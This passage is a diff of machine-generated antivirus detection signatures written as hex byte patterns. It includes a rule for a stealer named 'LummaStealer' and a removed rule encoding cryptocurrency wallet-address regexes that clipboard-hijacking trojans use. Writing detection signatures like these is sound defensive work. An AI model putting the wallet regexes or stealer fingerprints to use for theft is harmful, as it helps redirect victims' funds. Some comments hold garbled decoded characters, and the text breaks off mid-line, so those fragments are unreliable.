Version: $a_01_80 = {48 61 73 68 20 66 69 6c 65 20 6e 6f 74 20 6d 61 74 63 68 } //1 Hash file not match $a_01_81 = {45 78 74 72 61 63 74 20 75 70 64 61 74 65 20 70 61 63 6b 65 74 } //1 Extract update packet - $a_69_82 = {00 01 00 01 00 4a 00 21 23 48 53 54 52 3a 44 65 6c 66 43 50 4c 45 78 63 65 70 74 69 6f 6e 00 01 00 16 01 5c 5a 2d 46 69 72 6d 20 4c 4c 43 5c 49 6e 74 65 72 6e 65 74 5c 00 01 00 19 01 5c 42 6f 72 6c 61 6e 64 5c 44 61 74 61 62 61 73 65 20 45 6e 67 69 6e 65 00 01 00 2b 01 5c 49 6e 6e 6f 76 61 74 69 76 65 20 53 6f 6c 75 74 69 6f 6e 73 5c 41 64 76 61 6e 63 65 64 } //0 - $a_69_83 = {73 74 61 6c 6c 65 72 00 01 00 10 01 65 76 65 72 65 73 74 5f 63 70 6c 2e 69 6e 69 00 01 00 3e 01 43 6f 6e 66 69 67 75 72 61 63 69 f3 6e 20 64 65 20 6c 61 20 61 63 74 75 61 6c 69 7a 61 63 69 f3 6e 20 65 6e 20 6c ed 6e 65 61 20 64 65 20 70 72 6f 64 75 63 74 6f 73 20 43 4f 4d 50 41 43 01 00 11 01 49 6e 74 65 72 42 61 73 65 47 75 61 } //21792 - $a_61_84 = {01 00 30 01 2f 58 50 72 65 73 73 55 70 64 61 74 65 20 2d 20 53 6f 66 74 77 61 72 65 20 55 70 64 61 74 65 73 20 69 6d 20 48 61 6e 64 75 6d 64 72 65 68 65 6e 01 00 1b 01 5c 4e 45 45 56 49 41 5c 4e 65 65 76 69 61 20 64 6f 63 75 50 72 69 6e 74 65 72 00 01 00 1f 01 5c 41 53 55 53 5c 41 53 55 53 20 57 4c 41 4e 20 43 61 } //25714 - $a_55_85 = {69 6c 69 74 69 65 73 00 01 00 11 01 5c 41 6c 74 65 72 64 61 74 61 5c 53 6b 69 6e 5c 00 01 00 1e } //25714 - $a_74_86 = {72 64 61 74 61 20 43 6f 6e 66 69 67 2e 20 53 65 72 76 69 64 6f 72 20 4e 58 00 01 00 1f 01 43 6f 6e 66 69 67 75 72 65 73 20 67 61 6d 65 70 61 64 73 20 75 73 69 6e 67 20 58 42 43 44 00 01 00 15 01 46 49 42 53 20 53 65 72 76 69 63 65 20 4d 61 6e 61 67 65 72 00 01 00 0d 01 61 69 64 61 5f 63 70 6c 2e 69 6e 69 00 01 00 20 01 41 } //16641 + $a_4d_82 = {00 01 00 01 00 15 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 35 00 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 00 06 00 00 04 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 } //0 + $a_20_83 = {10 00 00 00 10 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 } //24948 + $a_20_84 = {20 } //30720 + $a_20_85 = {00 e0 05 00 00 10 00 00 00 e0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 } //8192 + $a_72_86 = {00 00 00 00 03 00 00 00 f0 05 00 00 04 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 f0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29230 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*87+(#a_52_2 & 1)*400+(#a_63_3 & 1)*25196+(#a_00_5 & 1)*50+(#a_53_6 & 1)*23040+(#a_00_8 & 1)*87+(#a_00_10 & 1)*92+(#a_00_11 & 1)*111+(#a_00_12 & 1)*111+(#a_00_13 & 1)*46+(#a_00_15 & 1)*69+(#a_00_16 & 1)*20047+(#a_6d_17 & 1)*24833+(#a_20_18 & 1)*26740+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_03_65 & 1)*1+(#a_03_66 & 1)*1+(#a_01_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_69_82 & 1)*0+(#a_69_83 & 1)*21792+(#a_61_84 & 1)*25714+(#a_55_85 & 1)*25714+(#a_74_86 & 1)*16641) >=15 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*87+(#a_52_2 & 1)*400+(#a_63_3 & 1)*25196+(#a_00_5 & 1)*50+(#a_53_6 & 1)*23040+(#a_00_8 & 1)*87+(#a_00_10 & 1)*92+(#a_00_11 & 1)*111+(#a_00_12 & 1)*111+(#a_00_13 & 1)*46+(#a_00_15 & 1)*69+(#a_00_16 & 1)*20047+(#a_6d_17 & 1)*24833+(#a_20_18 & 1)*26740+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_03_65 & 1)*1+(#a_03_66 & 1)*1+(#a_01_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_4d_82 & 1)*0+(#a_20_83 & 1)*24948+(#a_20_84 & 1)*30720+(#a_20_85 & 1)*8192+(#a_72_86 & 1)*29230) >=15 } -rule _InfrastructureShared_20586{ +rule _InfrastructureShared_21812{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 15 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 35 00 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 00 06 00 00 04 00 00 } //18467 + $a_00_1 = {00 00 } //-7680 + $a_00_4 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 } //0 + $a_00_9 = {00 e0 2e 72 73 72 63 00 00 00 00 03 00 00 00 f0 05 00 00 04 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f4 } //0 + $a_00_13 = {00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 f0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 00 06 00 00 02 } //0 + $a_00_18 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 02 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-7680+(#a_00_4 & 1)*0+(#a_00_9 & 1)*0+(#a_00_13 & 1)*0+(#a_00_18 & 1)*0) >=1 + +} +rule _InfrastructureShared_21813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 4a 00 21 " @@ -266662,7 +282219,7 @@ rule _InfrastructureShared_20586{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*29793+(#a_74_2 & 1)*30052+(#a_63_3 & 1)*25632+(#a_61_4 & 1)*8307+(#a_20_5 & 1)*30313+(#a_00_6 & 1)*108+(#a_74_7 & 1)*17520+(#a_00_9 & 1)*112+(#a_74_10 & 1)*28499+(#a_6e_11 & 1)*20512+(#a_58_12 & 1)*29549+(#a_53_13 & 1)*19272+(#a_64_14 & 1)*17267+(#a_2f_15 & 1)*25188+(#a_77_16 & 1)*29550+(#a_00_18 & 1)*80+(#a_77_19 & 1)*24907+(#a_70_20 & 1)*21601+(#a_5c_21 & 1)*25966+(#a_00_22 & 1)*97+(#a_6e_23 & 1)*23666+(#a_74_24 & 1)*28528+(#a_53_25 & 1)*25965+(#a_61_26 & 1)*25193+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_be_34 & 1)*0+(#a_65_35 & 1)*25441+(#a_2e_36 & 1)*28271+(#a_63_37 & 1)*24943+(#a_6d_38 & 1)*25390+(#a_79_39 & 1)*30058+(#a_6f_40 & 1)*11892+(#a_6f_41 & 1)*11890+(#a_2f_42 & 1)*28515+(#a_74_43 & 1)*28526+(#a_61_44 & 1)*26113+(#a_66_45 & 1)*26466+(#a_61_46 & 1)*24948+(#a_2e_47 & 1)*29793+(#a_61_48 & 1)*27497+(#a_77_49 & 1)*26625+(#a_2f_50 & 1)*28515+(#a_74_52 & 1)*28265+(#a_74_54 & 1)*27905+(#a_6e_55 & 1)*25454+(#a_61_56 & 1)*28519+(#a_6f_57 & 1)*27764+(#a_00_58 & 1)*12147+(#a_70_59 & 1)*29441+(#a_68_60 & 1)*24948+(#a_6b_61 & 1)*29806+(#a_d2_62 & 1)*2133+(#a_b7_63 & 1)*801+(#a_d1_64 & 1)*2125+(#a_01_65 & 1)*-28603+(#a_01_66 & 1)*-28464+(#a_00_67 & 1)*144+(#a_14_68 & 1)*3843+(#a_03_69 & 1)*-254+(#a_ff_71 & 1)*7424+(#a_60_72 & 1)*-28660+(#a_4d_73 & 1)*-2313) >=1 } -rule _InfrastructureShared_20587{ +rule _InfrastructureShared_21814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 ffffff81 00 21 " @@ -266719,80 +282276,44 @@ rule _InfrastructureShared_20587{ $a_45_53 = {03 c1 ff d0 90 09 03 00 03 45 90 00 01 00 0f 03 8b 4d 08 2b c2 8d 84 01 90 01 04 ff d0 90 00 01 00 11 03 8b 45 08 51 03 c2 ff d0 90 09 07 00 8d 8c 38 90 00 01 00 10 03 8d 04 78 50 8b 45 08 03 45 90 01 01 ff d0 90 00 01 00 11 03 03 c1 ff d0 90 09 09 00 2d 90 01 04 50 8b 45 90 00 01 00 11 03 8b 45 08 52 03 c1 ff d0 90 09 07 00 8d 94 07 90 00 01 00 0e 03 ff d0 83 c4 08 90 09 07 00 8d 84 02 90 00 01 00 10 03 8b 55 08 } //20483 $a_90_54 = {04 ff d0 83 c4 08 90 00 01 00 } //-31603 $a_45_55 = {56 03 c1 ff d0 83 c4 08 01 00 11 03 89 45 fc 8b 45 fc ff d0 90 09 07 00 8d 84 10 90 00 01 00 0a 01 03 04 0a 8b 4d 08 03 c8 ff d1 01 00 0a 01 03 c8 89 4d 08 8b 45 08 ff d0 01 00 0a 01 2b c8 01 4d 08 8b 45 08 ff d0 01 00 10 03 01 4d 08 8b 45 08 ff d0 90 09 06 00 81 f1 90 00 01 00 07 01 03 c7 50 03 ce ff d1 01 00 0c 01 8b 45 08 51 57 03 c2 ff d0 83 c4 08 01 00 08 01 8b 4d 08 52 03 c8 ff d1 01 00 09 01 8b 45 08 51 53 } //267 - $a_d0_56 = {00 08 01 52 8b 45 08 03 c6 ff d0 01 00 0d 03 8b 45 08 8d 8c 01 90 01 04 ff d1 90 00 01 00 0d 03 8b 55 08 8d 84 02 90 01 04 ff d0 90 00 01 00 09 01 8b 4d 08 52 50 03 ce ff d1 01 00 11 03 89 45 08 8b 45 08 ff d0 90 09 07 00 8d 84 01 90 00 00 00 78 5b 0b 00 01 00 01 00 63 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 6f 41 64 64 72 65 73 73 52 65 67 65 78 00 01 00 1e 01 28 31 29 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 35 2c 33 34 7d 01 00 19 01 28 31 7c 33 29 5b 31 2d 39 41 2d 5a 5d 5b 31 2d 39 41 2d 7a 5d 7b 33 32 7d 01 00 1e 01 28 33 29 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 35 2c 33 34 7d 01 00 14 01 28 34 7c 38 29 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 39 34 7d 01 00 1a 01 } //-15869 - $a_38_57 = {5b 61 2d 7a 2d 41 2d 5a 2d 30 2d 39 5d 7b 39 34 2c 31 31 30 7d 01 00 11 01 28 51 7c 50 29 5b 41 2d 5a 30 2d 39 5d 7b 34 31 7d 01 00 1f 01 28 44 64 7a 46 46 29 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 39 39 7d 01 00 16 01 28 4c 7c 4d 29 5b 41 2d 7a 5d 5b 31 2d 39 41 2d 7a 5d 7b 33 32 7d 01 00 1d 01 28 4e 7c 4d 29 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d } //13352 - $a_5a_58 = {2d 39 5d 7b 33 33 7d 01 00 1a 01 28 54 5b 41 2d 5a 5d 29 5b 41 2d 5a 61 2d 7a 30 2d 39 5d 7b 33 32 2c 33 35 7d 01 00 1b 01 28 58 29 5b } //20558 - $a_41_59 = {48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 33 33 7d 01 00 19 01 28 58 2d 61 76 61 78 29 5b 61 2d 7a 2d 41 2d 5a 2d 30 2d 39 5d 7b 33 39 7d 01 00 25 01 28 5b 31 33 5d 7c } //11569 - $a_29_60 = {41 2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 31 2d 39 5d 7b 32 37 2c 33 34 7d 01 00 1d 01 28 5b 31 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 } //25442 - $a_7b_61 = {35 2c 33 39 7d 01 00 1d 01 28 5b 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 19 01 28 62 63 31 29 5b 61 2d 7a 2d 41 2d 5a 2d 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 1d 01 28 62 63 31 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d } //14637 - $a_2c_62 = {39 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d } //12923 - $a_2d_63 = {41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 35 39 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 36 2c 33 35 7d 01 00 22 01 28 62 63 31 7c 5b 31 33 5d 29 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 36 2c 34 32 7d 01 } //23337 - $a_28_64 = {6e } //4608 n - $a_5b_65 = {2d 7a 30 2d 39 5d 7b 33 39 7d 01 00 17 01 28 69 6f 74 61 29 5b 41 2d 5a 2d 30 2d 39 2d 61 2d 7a 5d 7b 36 30 7d 01 00 11 } //10594 - $a_7c_66 = {29 5b 61 2d 7a 30 2d 39 5d 7b 34 31 7d 01 00 17 01 28 72 6f 6e 69 6e 3a 29 5b 61 2d 66 41 2d 46 30 2d 39 5d 7b 34 30 7d 01 00 0e 01 30 78 5b 30 2d 39 41 2d 7a 5d 7b 34 30 7d 01 00 11 01 30 78 5b 30 2d 39 61 2d 66 41 2d 46 5d 7b 34 30 7d 01 00 14 01 30 78 5b 41 2d 5a 61 2d 7a 30 2d 39 5d 7b 34 30 2c 34 30 7d 01 00 14 01 30 78 5b 61 2d 66 } //10241 - $a_30_67 = {39 5d 7b 34 30 2c 34 32 7d 01 00 11 01 30 78 5b 61 2d 66 41 2d 46 30 2d 39 5d 7b 34 30 7d 01 00 10 01 31 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 33 33 7d 01 00 1c 01 31 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d } //11585 - $a_39_68 = {7b 32 36 2c 33 33 7d 01 00 17 01 31 5b 61 63 2d 68 6a 2d 6e 70 2d 7a 30 32 2d 39 5d 7b 38 2c 38 37 7d 01 00 0e 01 33 50 5b 31 2d 39 41 } //12634 - $a_7b_69 = {33 7d 01 00 10 01 33 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 33 33 7d 01 00 1c 01 33 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 36 2c 33 33 7d 01 00 19 01 33 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 20 01 34 5b 30 2d 39 41 } //31277 - $a_31_70 = {39 41 2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 39 33 7d 01 00 48 01 34 5b 30 2d 39 41 42 5d 5b 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 47 48 4a 4b 4c 4d 4e 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 } //23874 - $a_39_71 = {7d 01 00 11 01 34 5b 31 2d 39 41 2d 7a 5d 7b 39 34 2c 31 30 35 7d 01 00 11 01 34 5b 41 2d 7a 31 2d 39 5d 7b 39 34 2c 31 31 30 7d 01 00 10 01 41 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 33 33 7d 01 00 13 01 41 5b 41 2d 5a 61 2d 7a 30 2d 39 5d 7b 33 32 2c 33 34 7d 01 00 17 01 44 5b 41 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 31 2d 39 5d 7b 33 35 2c 7d 01 00 15 01 44 5b 41 2d 5a 31 } //23930 - $a_5b_72 = {2d 39 41 2d 7a 5d 7b 33 32 7d 01 00 13 01 44 5b 41 2d 5a 61 2d 7a 30 2d 39 5d 7b 33 32 2c 33 35 7d 01 00 19 01 44 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 33 33 7d 01 00 2d 01 44 7b 31 7d 5b 35 2d 39 41 2d 48 4a 2d 4e 50 2d 55 5d 7b 31 7d 5b 31 2d 39 41 2d } //14637 - $a_4e_73 = {2d 5a 61 2d 6b 6d 2d 7a 5d 7b 33 32 7d 01 00 10 01 47 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 35 35 7d 01 00 13 01 4c 5b 41 2d 5a 61 2d 7a } //19016 - $a_5d_74 = {33 32 2c 33 34 7d 01 00 19 01 4c 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 33 33 7d 01 00 1c 01 4c 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 } //11568 - $a_7b_75 = {36 2c 33 33 7d 01 00 1c 01 4d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 36 2c 33 33 7d 01 00 19 01 50 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 33 33 7d 01 00 12 01 52 5b 41 2d 5a 2d 30 2d 39 2d 61 2d 7a 5d 7b 33 33 7d 01 00 10 01 54 } //14637 - $a_39_76 = {2d 7a 41 2d 5a 5d 7b 33 33 7d 01 00 12 01 54 5b 41 2d 5a 2d 30 2d 39 2d 61 2d 7a 5d 7b 33 33 7d 01 00 10 01 54 5b 41 2d 5a 61 2d 7a 31 } //12379 - $a_7b_77 = {33 7d 01 00 10 01 54 5b 61 2d 7a 41 2d 5a 30 2d 39 5d 7b 33 33 7d 01 00 19 01 58 5b 31 2d 39 41 2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 33 33 7d 01 00 13 01 58 5b 41 2d 5a 61 2d 7a 30 2d 39 5d 7b 33 32 2c 33 34 7d 01 00 19 01 58 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 } //14637 - $a_2d_78 = {5d 7b 33 33 7d 01 00 12 01 58 5b 61 2d 7a 5d 5b 31 2d 39 41 2d 7a 5d 7b 33 32 7d 01 00 12 01 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 32 34 2c 33 34 } //23085 筝㌳Žሀ堁慛稭孝ⴱ䄹稭筝㈳Žሀ嬁ⴰ愹稭ⵁ嵚㉻ⰴ㐳 - $a_39_80 = {2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 33 32 2c 34 34 7d 01 00 1f 01 5b 31 33 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d } //12635 - $a_39_81 = {7b 32 36 2c 33 33 7d 01 00 1f 01 5b 31 33 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 35 2c 33 34 7d 01 00 1c } //12378 - $a_33_82 = {5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 33 33 7d 01 00 1f 01 5b 31 33 5d 7b 31 7d 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 } //23297 - $a_7b_83 = {36 2c 33 33 7d 01 00 1e 01 5b 31 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 35 2c 33 34 7d 01 00 1b 01 5b 31 5d 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 1b 01 5b 33 5d 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 } //14637 - $a_35_84 = {33 39 7d 01 00 23 01 5b 34 38 5d 5b 30 2d 39 41 42 5d 5b 31 2d 39 41 2d 48 4a 2d 4e 50 2d 5a 61 2d 6b 6d 2d 7a 5d 7b 39 33 7d 01 00 4b 01 5b 34 38 5d } //31581 - $a_39_85 = {42 5d 5b 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 47 48 4a 4b 4c 4d 4e 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 } //12379 B][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghi - $a_6e_86 = {70 71 72 73 74 75 76 77 78 79 7a 5d 7b 39 33 7d 01 00 0c 01 5b 41 2d 5a 32 2d 37 5d 7b 35 38 7d 01 00 24 01 5b 4c 4d 33 51 32 6d 6e 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 36 2c 33 34 7d 01 00 20 01 5b 4c 4d 33 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 36 2c 33 33 7d 01 } //27498 - $a_5b_87 = {5d } //7680 ] - $a_6b_88 = {2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 31 2d 39 5d 7b 32 36 2c 33 33 7d 01 00 1e 01 5b 54 5d 5b 61 2d 6b 6d 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a } //24923 - $a_5d_89 = {33 32 2c 33 34 7d 01 00 14 01 5b 61 63 2d 68 6a 2d 6e 70 2d 7a 30 32 2d 39 5d 7b 33 39 7d 01 00 14 01 5b 61 63 2d 68 6a 2d 6e 70 2d 7a 30 32 2d 39 5d 7b 35 39 7d 01 00 1d } //11569 - $a_63_90 = {5d 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 32 35 2c 33 39 7d 01 00 12 01 61 64 64 72 5b 30 2d 39 2d 61 2d 7a 5d 7b 39 39 7d 29 01 00 13 01 61 64 64 72 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 39 39 7d 01 00 12 01 62 63 31 5b 61 2d 7a 30 2d 39 5d 7b 33 39 2c 35 39 7d 01 00 0f 01 62 63 } //23297 - $a_2d_91 = {30 2d 39 5d 7b 33 39 7d 01 00 11 01 62 6e 62 5b 30 2d 39 2d 61 2d 7a 5d 7b 33 39 7d 29 01 00 17 01 62 6e 62 5b 31 2d 39 41 2d 5a 5d 5b 31 2d 39 41 2d 7a 5d 7b 33 39 7d 01 00 14 01 63 6f 73 6d 6f 73 31 5b 61 2d 7a 2d 30 2d 39 5d 7b 33 38 7d 01 00 13 01 6c 74 63 31 5b 61 2d 7a 30 2d 39 5d 7b } //23345 - $a_35_92 = {7d 01 00 1a 01 6c 74 63 31 71 5b 61 2d 7a 41 2d 48 4a 2d 4e 50 2d 5a 30 2d 39 5d 7b 33 38 7d 01 00 0d 01 71 5b 61 2d 7a 30 2d 39 5d } //14643 Žᨀ氁捴焱慛稭ⵁ䩈中ⵐず㤭筝㠳Žഀ焁慛稭ⴰ崹 - $a_7d_93 = {00 10 01 72 5b 30 2d 39 61 2d 7a 41 2d 5a 5d 7b 33 33 7d 01 00 12 01 72 5b 41 2d 5a 5d 5b 31 2d 39 41 2d 7a 5d 7b 33 32 7d 01 00 44 01 72 5b 72 70 } //13435 - $a_61_94 = {33 39 77 42 55 44 4e 45 47 48 4a 4b 4c 4d 34 50 51 52 53 54 37 56 57 58 59 5a 32 62 63 64 65 43 67 36 35 6a 6b 6d 38 6f 46 71 69 31 74 75 76 41 78 79 7a 5d 7b 32 34 2c 33 34 7d 01 00 15 01 72 6f 6e 69 6e 3a 5b 61 2d 66 41 2d 46 30 2d 39 5d 7b 34 30 7d 01 00 0e 01 74 31 5b 30 2d 39 41 2d 7a 5d 7b 